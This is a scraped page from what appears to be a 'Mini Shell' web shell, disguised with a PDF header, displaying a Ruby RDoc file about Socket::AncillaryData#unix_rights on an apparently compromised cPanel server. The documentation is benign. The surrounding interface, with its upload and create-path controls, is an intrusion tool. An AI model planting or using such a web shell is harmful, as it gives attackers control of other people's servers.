%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/cpanel/ea-ruby24/root/usr/share/ri/system/Socket/AncillaryData/
Upload File :
Create Path :
Current File : //opt/cpanel/ea-ruby24/root/usr/share/ri/system/Socket/AncillaryData/unix_rights-i.ri

U:RDoc::AnyMethod[iI"unix_rights:ETI"&Socket::AncillaryData#unix_rights;TF:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph;	[I"Zreturns the array of IO objects for SCM_RIGHTS control message in UNIX domain socket.;To:RDoc::Markup::BlankLineo;
;	[I">The class of the IO objects in the array is IO or Socket.;T@o;
;	[I"GThe array is attached to _ancillarydata_ when it is instantiated. ;TI"<For example, BasicSocket#recvmsg attach the array when ;TI"Qreceives a SCM_RIGHTS control message and :scm_rights=>true option is given.;T@o:RDoc::Markup::Verbatim;	[I"7# recvmsg needs :scm_rights=>true for unix_rights
;TI"s1, s2 = UNIXSocket.pair
;TI"Ip s1                                         #=> #<UNIXSocket:fd 3>
;TI"[s1.sendmsg "stdin and a socket", 0, nil, Socket::AncillaryData.unix_rights(STDIN, s1)
;TI"2_, _, _, ctl = s2.recvmsg(:scm_rights=>true)
;TI"gp ctl                                        #=> #<Socket::AncillaryData: UNIX SOCKET RIGHTS 6 7>
;TI"Sp ctl.unix_rights                            #=> [#<IO:fd 6>, #<Socket:fd 7>]
;TI";p File.identical?(STDIN, ctl.unix_rights[0]) #=> true
;TI";p File.identical?(s1, ctl.unix_rights[1])    #=> true
;TI"
;TI"B# If :scm_rights=>true is not given, unix_rights returns nil
;TI"s1, s2 = UNIXSocket.pair
;TI"[s1.sendmsg "stdin and a socket", 0, nil, Socket::AncillaryData.unix_rights(STDIN, s1)
;TI"_, _, _, ctl = s2.recvmsg
;TI"@p ctl #=> #<Socket::AncillaryData: UNIX SOCKET RIGHTS 6 7>
;TI"p ctl.unix_rights #=> nil;T:@format0:
@fileI"ext/socket/ancdata.c;T:0@omit_headings_from_table_of_contents_below0I"6ancillarydata.unix_rights => array-of-IOs or nil
;T0[I"();T@)FI"AncillaryData;TcRDoc::NormalClass00

Zerion Mini Shell 1.0